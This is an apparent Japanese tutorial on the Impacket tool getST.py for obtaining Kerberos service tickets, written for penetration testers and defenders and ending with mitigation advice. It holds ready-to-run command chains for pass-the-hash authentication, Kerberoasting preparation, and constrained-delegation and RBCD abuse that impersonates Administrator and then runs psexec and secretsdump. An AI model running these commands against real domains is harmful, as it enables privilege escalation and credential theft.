Impacket getST.py 徹底解説:Kerberosサービスチケットの取得と活用

セキュリティツール

Impacketは、ネットワークプロトコルの操作に特化したPythonクラスのコレクションであり、特にActive Directory環境におけるセキュリティ評価やペネトレーションテストで広く利用されています。このスイートに含まれる多数のスクリプトの中でも、getST.pyはKerberos認証における「サービスチケット(Service Ticket, ST)」または「Ticket Granting Service (TGS) Ticket」を取得するための重要なツールです。
本記事では、getST.pyの基本的な使い方から、応用的なオプション、そして実際の攻撃シナリオでの活用例までを詳しく解説します。😊

Kerberos認証とサービスチケットの基本

getST.pyを理解するには、まずKerberos認証の基本的な流れを知る必要があります。Kerberosは、チケットベースの認証プロトコルで、主に以下のステップで構成されます。

  1. AS-REQ/AS-REP (Authentication Service): ユーザーは自身のパスワード等を用いてKey Distribution Center (KDC) のAuthentication Service (AS) に認証を要求し、Ticket Granting Ticket (TGT) を受け取ります。TGTは、ユーザーがドメイン内で認証されたことを証明する一時的なチケットです。
  2. TGS-REQ/TGS-REP (Ticket Granting Service): ユーザーは取得したTGTをKDCのTicket Granting Service (TGS) に提示し、特定のサービス(例:ファイル共有、ウェブサイト)へのアクセス許可を証明するサービスチケット(ST)を要求します。
  3. AP-REQ/AP-REP (Application Service): ユーザーは取得したSTを目的のサービス(Application Service)に提示し、サービスへのアクセスを行います。

getST.pyは、主に上記のステップ2(TGS-REQ/TGS-REP)を実行し、指定されたサービスに対するサービスチケットを取得する役割を担います。取得したサービスチケットは、後続のツール(例:psexec.py, smbclient.pyなど)でKerberos認証を行うために利用できます。

getST.pyの前提条件

getST.pyを使用するには、以下のものが必要です。

  • Python環境: ImpacketはPythonで書かれているため、Pythonの実行環境が必要です。
  • Impacketのインストール: 最新のImpacketライブラリがインストールされている必要があります。
  • 有効なドメイン認証情報: 以下のいずれかが必要です。
    • ドメインユーザーのユーザー名とパスワード
    • ドメインユーザーのNTLMハッシュ (LMハッシュ:NTハッシュ形式)
    • ドメインユーザーのAESキー (128ビットまたは256ビット)
    • 有効なKerberos TGTが格納されたccacheファイル (getTGT.pyなどで取得可能)
  • ターゲット情報:
    • ターゲットとなるドメイン名
    • (オプション) ドメインコントローラー(KDC)のIPアドレスまたはホスト名
    • ターゲットサービスのSPN (Service Principal Name)

⚠️ 注意: Impacketツール群は強力な機能を持つため、許可された環境でのみ使用してください。不正な目的での使用は法律で禁止されています。

基本的な使い方

getST.pyの最も基本的な構文は以下の通りです。

impacket-getST <ドメイン>/<ユーザー名>:<パスワード> -spn <ターゲットSPN>

各要素の説明は以下の通りです。

  • <ドメイン>/<ユーザー名>:<パスワード> (identity): 認証に使用するドメインユーザーの認証情報。ドメイン名は通常、NetBIOS名またはFQDNで指定します。
  • -spn <ターゲットSPN>: サービスチケットを取得したいサービスのSPNを指定します。SPNは <サービスタイプ>/<ホスト名>[:<ポート>][<サービス名>] の形式を取ります(例: cifs/fileserver.example.com, http/webserver.example.com)。

例: EXAMPLE.COM ドメインの fileserver というサーバーのCIFSサービス(ファイル共有)に対するサービスチケットを、ユーザー testuser (パスワード: Password123) で取得する場合:

impacket-getST example.com/testuser:Password123 -spn cifs/fileserver.example.com

成功すると、通常は標準出力にはあまり情報が表示されませんが、内部的にサービスチケットの取得を試みています。チケットをファイルに保存したり、後続のツールで利用するには追加のオプションが必要です。

主要なオプション解説

getST.py は多くのオプションを提供しており、様々なシナリオに対応できます。以下に主要なオプションを解説します。

オプション 説明 用途・補足
-spn <SPN> 取得対象のサービスプリンシパル名(必須)。 例: cifs/server.domain.com, http/web.domain.com
-impersonate <ユーザー名> 指定したユーザーになりすましてサービスチケットを要求します。 S4U2Self/S4U2Proxyを利用します。実行ユーザーに制約付き委任(Protocol Transition付き)の設定が必要です。主に管理者権限を持つアカウントや、委任が許可されたサービスアカウントになりすます際に使用されます。
-hashes <LMHASH:NTHASH> パスワードの代わりにNTLMハッシュを使用して認証します。 Pass-the-Hash攻撃などで入手したハッシュを使用する場合に便利です。LMハッシュが不明な場合は空欄にします(例: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 または :31d6cfe0d16ae931b73c59d7e0c089c0)。
-aesKey <16進数キー> パスワードやハッシュの代わりにAESキーを使用して認証します。 Kerberos認証でAES暗号化が有効な場合に使用します。secretsdump.pyなどで取得したキーを指定します。
-k Kerberos認証を使用します(ccacheファイルが必要)。 事前にgetTGT.pyなどで有効なTGTを取得し、環境変数KRB5CCNAMEでそのccacheファイルを指定しておく必要があります。TGTを持っている場合、パスワードやハッシュは不要です(-no-passを併用することが多い)。
-no-pass パスワードの入力を求めません。 -k(Kerberos認証)や -hashes, -aesKey を使用する場合に指定します。
-dc-ip <IPアドレス> ターゲットドメインコントローラー(KDC)のIPアドレスを指定します。 DNSが正しく引けない環境や、特定のDCにリクエストを送りたい場合に使用します。
-dc-host <ホスト名> ターゲットドメインコントローラー(KDC)のホスト名を指定します。 -dc-ipと同様の目的で使用します。
-save 取得したサービスチケットをccacheファイルとして保存します。 デフォルトではユーザー名に基づいたファイル名 (例: Administrator.ccache) でカレントディレクトリに保存されます。ファイル名を指定したい場合は -save -outputfile <ファイル名> のようにします (ただし、-save単体での挙動が多いようです)。保存されたccacheファイルは、export KRB5CCNAME=<ファイル名> で環境変数に設定し、他のImpacketツールで -k オプションと共に利用できます。
-outputfile <ファイル名> 取得したチケットを保存する際のファイル名を指定します。 通常 -save オプションと組み合わせて使用されることを意図していますが、実装によっては単独で機能する場合もあります。
-debug デバッグ情報を詳細に出力します。 エラー発生時のトラブルシューティングに役立ちます。Kerberosプロトコルの詳細なやり取りが表示されます。
-altservice <代替SPN> 取得するチケット内のサービス名(sname/SPN)を指定した値に書き換えます。 特定の攻撃シナリオ(例:sAMAccountName Spoofing後のチケット利用など)で使用されることがあります。
-self S4U2Selfのみを実行し、S4U2Proxyは実行しません。 -impersonate と共に使用し、自分自身に対するサービスチケットを取得する際に使われます。
-force-forwardable S4U2Selfで取得したサービスチケットを強制的に転送可能(Forwardable)にします。 CVE-2020-17049 (Bronze Bit) 脆弱性を利用する試みに関連することがあります。制約付き委任の制限を回避しようとする場合に使われる可能性があります。
-additional-ticket <ccacheファイル> 転送可能なサービスチケットをS4U2Proxyリクエストに含めます。 リソースベース制約付き委任 (RBCD) と従来の制約付き委}}(KCD) を組み合わせたような複雑な委任シナリオで使用されることがあります。

💡 ヒント: -hashes-aesKey オプションは、パスワードが不明でもユーザーのハッシュやキーを知っていれば認証を突破できるため、ペネトレーションテストにおいて非常に強力です。

実践的なユースケースと実行例

1. 特定サービスへのKerberos認証用チケット取得

ファイルサーバー (filesrv.corp.local) のCIFSサービスにアクセスするためのチケットを取得し、cifs_ticket.ccache という名前で保存する例です。認証にはユーザー svc_account のNTLMハッシュを使用します。

impacket-getST -hashes :<NThash_of_svc_account> -spn cifs/filesrv.corp.local corp.local/svc_account -dc-ip 192.168.1.10 -save -outputfile cifs_ticket.ccache

取得後、このチケットを使って smbclient.py などでファイルサーバーに接続できます。

export KRB5CCNAME=cifs_ticket.ccache
impacket-smbclient filesrv.corp.local -k -no-pass

2. Kerberoasting の準備 (特定SPN向け)

Kerberoastingは通常、GetUserSPNs.py を用いてSPNを持つ「ユーザーアカウント」を探し、そのアカウントに対するTGSチケットを要求してオフラインでのパスワードクラックを試みる攻撃です。getST.py は特定のアカウント(ユーザーまたはコンピュータ)の特定のSPNに対するチケットを直接要求する際に使えます。例えば、パスワードクラックの対象として特定されているサービスアカウント (sql_service) のSPN (MSSQLSvc/dbserver.corp.local:1433) に対するチケットを取得する場合などです。

# パスワードで認証する場合
impacket-getST corp.local/attacker_user:AttackerPass -spn MSSQLSvc/dbserver.corp.local:1433 -dc-ip 192.168.1.10

# -save オプションでチケットを保存すれば、それをHashcatなどでクラック試行できますが、
# GetUserSPNs.py の方が直接クラック可能な形式で出力するため、Kerberoastingには通常そちらが使われます。
# getST.py はチケット取得自体が目的の場合や、委任シナリオでより重要になります。

3. 制約付き委任 (Constrained Delegation) の悪用 (S4U)

攻撃者が制御しているアカウント (compromised_svc) が、特定のサーバー (target_server) のCIFSサービスへの制約付き委任(プロトコルトランジション付き)を許可されている場合、その権限を利用して任意のユーザー(例: Administrator)になりすましたサービスチケットを取得できます。

# compromised_svc のパスワードを使用して Administrator になりすまし、target_server の CIFS サービスチケットを取得
impacket-getST corp.local/compromised_svc:ServicePass -spn cifs/target_server.corp.local -impersonate Administrator -dc-ip 192.168.1.10 -save -outputfile admin_cifs_ticket.ccache

取得した admin_cifs_ticket.ccache を使えば、Administratorとしてtarget_serverのファイル共有にアクセスできます。

export KRB5CCNAME=admin_cifs_ticket.ccache
impacket-psexec target_server.corp.local -k -no-pass

4. リソースベース制約付き委任 (RBCD) の悪用

RBCD攻撃では、攻撃者が制御するアカウント(例: 攻撃者が作成したマシンアカウント evil_machine$)を、ターゲットマシン(例: victim_pc)の msDS-AllowedToActOnBehalfOfOtherIdentity 属性に追加することで、evil_machine$victim_pc 上で他のユーザーになりすます権限を得ます。この設定後、getST.py を使って特権ユーザー(例: Administrator)になりすましたサービスチケットを取得します。

# evil_machine$ (パスワード: EvilPass) を使って victim_pc の CIFS サービスへ Administrator としてアクセスするチケットを取得
impacket-getST corp.local/evil_machine$:EvilPass -spn cifs/victim_pc.corp.local -impersonate Administrator -dc-ip 192.168.1.10 -save -outputfile rbcd_admin_ticket.ccache

このチケットを使えば、victim_pcに対してAdministrator権限でアクセスできます。

export KRB5CCNAME=rbcd_admin_ticket.ccache
impacket-secretsdump victim_pc.corp.local -k -no-pass

セキュリティ上の考慮事項と対策

getST.py は正当な管理目的やセキュリティテストで使用される一方で、攻撃者にとっても非常に有用なツールです。このツールが悪用されるリスクを軽減するためには、以下の対策が考えられます。

  • 強力なパスワードポリシー: 特にサービスアカウントのパスワードは長く、複雑で、定期的に変更されるべきです。これにより、Kerberoastingによるパスワードクラックを困難にします。Managed Service Accounts (MSA) や Group Managed Service Accounts (gMSA) の利用が推奨されます。
  • 最小権限の原則: サービスアカウントやユーザーアカウントに不要な権限、特に委任権限を付与しないようにします。制約付き委任の設定は慎重に行い、本当に必要な場合に限定します。
  • アカウントの監視: 特権アカウントやサービスアカウントに対する不審なKerberosチケット要求(特に短時間に多数のTGS要求、異常なSPNへの要求、委任を利用した要求)を監視します。
  • 委任設定の監査: 定期的にActive Directory内の委任設定(Unconstrained, Constrained, Resource-Based Constrained)を確認し、意図しない設定や過剰な権限がないか監査します。
  • アカウントの保護: 特に管理者アカウントや機密性の高いアカウントに対しては、「アカウントは機密性が高く、委任できない (Account is sensitive and cannot be delegated)」フラグを設定することを検討します。
  • ホストベースのセキュリティ: エンドポイントでの不審なプロセス実行やネットワーク接続を監視し、Impacketのようなツールが実行されるのを検知します。

🚨 重要: getST.py の使用(特に -impersonate オプション)は、多くの場合、高度な権限が必要となるか、特定の脆弱な設定(委任など)が存在することを示唆します。これらのアクティビティのログを監視することは、侵害の検知に繋がる可能性があります。

トラブルシューティング

getST.py の実行中に問題が発生した場合、以下の点を確認してください。

  • 認証情報のエラー: パスワード、ハッシュ、AESキー、またはccacheファイルが正しいか確認します。ドメイン名やユーザー名のタイプミスも確認してください。-debug オプションを使用すると、認証エラーに関する詳細なメッセージ (例: KDC_ERR_PREAUTH_FAILED, KDC_ERR_C_PRINCIPAL_UNKNOWN) が表示されることがあります。
  • SPNの指定ミス: -spn で指定したSPNが正しい形式であり、実際にターゲットシステムに登録されているか確認します。
  • ネットワーク接続: 実行環境からドメインコントローラー (KDC) のポート88 (TCP/UDP) に到達可能か確認します。ファイアウォール設定を確認してください。-dc-ip-dc-host で明示的にDCを指定してみるのも有効です。
  • Kerberos関連のエラー: KDC側の問題や、クライアントとサーバー間の時刻同期ズレ(Clock Skew)などが原因でエラー (例: KRB_AP_ERR_SKEW) が発生することがあります。-debug 出力で具体的なエラーコードを確認します。
  • 委任関連のエラー: -impersonate を使用している場合、実行ユーザーアカウントに必要な委任権限(S4U2Self/S4U2Proxy)が正しく設定されているか確認します。ターゲットSPNが委任先として許可されているかも確認が必要です。

問題が解決しない場合は、-debug オプションを有効にして実行し、表示される詳細なログ情報を確認することが最も重要です。ImpacketのGitHubリポジトリのIssueなども参考にすると良いでしょう。🛠️

まとめ

impacket-getST は、Active Directory環境においてKerberosサービスチケットを取得するための強力なツールです。基本的なチケット取得から、NTLMハッシュやAESキーを用いた認証、さらには制約付き委任やリソースベース制約付き委任といった高度な攻撃シナリオまで、幅広い用途で活用されます。
ペネトレーションテスターやセキュリティ研究者にとっては必須のツールの一つですが、その強力さゆえに、悪用された場合の影響も大きくなります。適切なセキュリティ対策と監視体制を構築し、Active Directory環境の安全性を維持することが重要です。
この記事が、getST.py の理解と適切な活用、そしてセキュリティ対策の一助となれば幸いです。✨

コメント

タイトルとURLをコピーしました